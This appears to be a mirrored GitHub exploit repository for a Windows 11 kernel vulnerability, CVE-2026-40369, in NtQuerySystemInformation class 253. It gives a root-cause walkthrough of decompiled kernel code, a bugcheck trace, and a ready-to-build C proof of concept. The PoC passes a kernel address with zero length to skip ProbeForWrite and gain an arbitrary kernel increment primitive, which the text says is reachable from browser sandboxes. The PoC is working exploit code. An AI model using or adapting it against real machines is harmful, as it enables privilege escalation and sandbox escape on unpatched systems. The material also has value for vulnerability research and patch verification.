orinimron123/CVE-2026-40369-EXPLOIT

GitHub: orinimron123/CVE-2026-40369-EXPLOIT

针对Windows内核NtQuerySystemInformation任意地址递增漏洞的完整利用代码,可从浏览器渲染进程沙箱中实现逃逸并获取内核写入原语。

Stars: 225 | Forks: 51

# CVE-2026-40369:通过 NtQuerySystemInformation (Class 253) 实现任意内核地址递增 ## 概要 - **类型:** 任意内核写入(递增) — 权限提升原语 - **组件:** ntoskrnl.exe — `ExpGetProcessInformation` - **触发方式:** `NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)` - **影响:** 任何非特权进程均可进行任意内核地址递增(写入原语) - **可从 Chrome 沙箱触发:** 是(NtQuerySystemInformation 未被拦截) - **受影响 Windows 版本:** Windows 11 24H2-25H2 - **漏洞利用可靠性:** 100% 确定性 - **KASLR 绕过可与 prefetch tool 组合使用:** ## 根本原因 `ExpGetProcessInformation` 在处理以下信息类时被 `ExpQuerySystemInformation` 调用: 5 (SystemProcessInformation), 0x39, 0x94, 0xFC, 以及 **0xFD (253 = SystemProcessInformationExtension)**。 位于 `ExpQuerySystemInformation+0xD7A` 的调用点: ``` // Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call: result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass); ``` 当 userBuffer 也指向内核时(例如,探测所需的缓冲区大小时),函数进入: ``` // ExpGetProcessInformation, simplified: __int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass) { v91 = buffer; // = NULL if (infoClass == 252) { v86 = v91; // class 252 uses v86 // ... } else { v86 = NULL; if (infoClass == 253) { v95 = v91; // v95 = NULL (BUG: sanitization for kernel address check!) goto LABEL_11; } // class 5 path - uses v81, doesn't touch v95 } v95 = NULL; // class 252 path falls through here LABEL_11: // ... process iteration loop ... while (NextProcess) { if (infoClass == 253) { ++*v95; // CRASH: v95 is Arbitrary Kernel Address v95[1] += ...; // Would also crash v95[2] += ...; // Would also crash } // class 5/252 paths handle NULL buffer correctly } } ``` 对于 class 253,`v95` 被设置为缓冲区指针(`v91 = buffer = NULL`)而没有任何 NULL 检查。 然后进程迭代循环尝试递增 `*v95` 处的计数器,导致在内核模式下发生 NULL 指针解引用 → BSOD。 Class 5 和 252 能够正确处理 NULL 缓冲区,因为它们使用了不同的变量(`v81`/`v86`)并在解引用前进行了适当的检查。 ## 崩溃详情 ``` PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff800041424344, memory referenced. Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE. bit 1 is set if the fault was due to a write, clear if a read. bit 3 is set if the processor decided the fault was due to a corrupted PTE. bit 4 is set if the fault was due to attempted execute of a no-execute PTE. - ARM64: bit 1 is set if the fault was due to a write, clear if a read. bit 3 is set if the fault was due to attempted execute of a no-execute PTE. Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) IP_IN_PAGED_CODE: nt!ExpGetProcessInformation+42e fffff803`a06db22e ff03 inc dword ptr [rbx] STACK_TEXT: *** WARNING: Unable to verify checksum for poc.exe Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2 ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12 ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107 ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850 ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646 ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91 ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25 000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14 000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef 000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374 000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17 000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c ``` ## 复现步骤 最小复现代码(无需特权,不需要特殊令牌): ``` /** * poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC * * Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass. * Passes a kernel address as the output buffer with Length=0, causing * ExpGetProcessInformation to increment DWORDs at the target address * without validation. * * Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib */ #include #include #pragma comment(lib, "ntdll.lib") typedef long NTSTATUS; #define SystemProcessInformationExtension 253 typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); int main(void) { PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); if (!pNtQSI) { printf("[-] Failed to resolve NtQuerySystemInformation\n"); return 1; } PVOID target = (PVOID)0xffff800041424344ULL; printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n"); printf("[*] Target kernel address: %p\n", target); printf("[*] Will write:\n"); printf(" [target+0] += num_processes (DWORD increment)\n"); printf(" [target+4] += total_threads (DWORD add)\n"); printf(" [target+8] += total_handles (DWORD add)\n"); printf("\n"); printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n"); printf("[*] Press Enter to trigger...\n"); getchar(); ULONG needed = 0; NTSTATUS status = pNtQSI( SystemProcessInformationExtension, target, /* kernel address — ProbeForWrite skipped because Length=0 */ 0, /* Length=0 bypasses ProbeForWrite entirely */ &needed ); printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status); printf("[*] Required length: %lu\n", needed); printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n"); return 0; } ``` ## 可利用性评估 — 任意内核写入 ### ProbeForWrite 绕过 `ExpQuerySystemInformation` 在分发之前会调用 `ProbeForWrite(buffer, Length, alignment)`。 **当 Length=0 时,ProbeForWrite 完全是一个空操作 (NO-OP)** — 整个函数体由 `if (Length)` 控制执行。 因此:`NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)` 会将未经验证的内核指针直接传递给 `ExpGetProcessInformation`。 ### 写入原语 对于系统上的每个进程,该函数都会执行: ``` v95 = userBuffer; // attacker-controlled pointer, NOT validated for class 253 with Length=0 // For EACH process: ++*v95; // *(uint32*)(addr+0) += 1 v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count ``` 这会导致: - **addr+0:** 每个进程递增 1 → 总计 = 系统上的进程数量 - **addr+4:** 所有进程的线程数总和 - **addr+8:** 所有进程的句柄数总和 ### 为什么在 LENGTH=0 的情况下依然会发生写入 `ExpGetProcessInformation` 会检查 `if (length < 12)` 并设置 STATUS_INFO_LENGTH_MISMATCH,但**不会提前返回**。它存储了错误状态并继续进入进程迭代循环,在最终返回错误状态之前,对每个进程都执行对 `v95` 的写入。 ### 可从 Chrome 沙箱、Edge、Firefox 中触发 完全可达: - NtQuerySystemInformation 未被 win32k lockdown 阻止 - 受限令牌 (restricted token) 并不能阻止此系统调用 - 不受信任的完整性级别 (Untrusted integrity level) 并不能阻止此系统调用 ![alt text](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/1fc6959228094341.png) ## 贡献者 由 Ori Nimron (@orinimron123) 发现并撰写
标签:0day, 0day挖掘, Awesome列表, Chrome沙箱, CISA项目, CVE-2026-40369, EDR绕过, KASLR绕过, ntoskrnl.exe, NtQuerySystemInformation, Web报告查看器, Windows 11, Windows内核, 任意地址写, 内核安全, 协议分析, 提权漏洞, 权限提升, 沙箱逃逸, 白帽子, 缓冲区溢出, 网络安全, 隐私保护, 高交互蜜罐